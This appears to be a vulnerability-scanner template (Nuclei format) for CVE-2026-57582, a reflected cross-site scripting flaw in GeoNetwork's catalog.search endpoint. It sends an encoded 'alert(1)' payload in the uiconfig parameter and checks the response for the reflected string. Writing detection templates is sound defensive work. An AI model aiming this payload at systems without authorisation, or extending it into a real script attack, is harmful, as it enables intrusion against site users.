id: CVE-2026-57582

info:
  name: "Geonetwork - Cross-Site Scripting"
  author: vedas-arpsyndicate
  severity: high
  description: |
    GeoNetwork versions 4.4.5 through 4.4.11 are vulnerable to reflected cross-site scripting (XSS) in the public unauthenticated catalog search functionality. The uiconfig query parameter of the catalog.search endpoint is reflected into a JavaScript context without sufficient sanitization, allowing arbitrary JavaScript execution in a victim's browser.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-57582&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=geonetwork&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-57582
    cwe-id: CWE-79
  metadata:
    verified: false
  tags: cve,cve2026,geonetwork,xss
http:
  - method: GET
    path:
      - "{{BaseURL}}/srv/eng/catalog.search?uiconfig=%28alert%281%29%2C%7B%7D%29"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "(alert(1),{})"
          - "GnCatController"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
        case-insensitive: true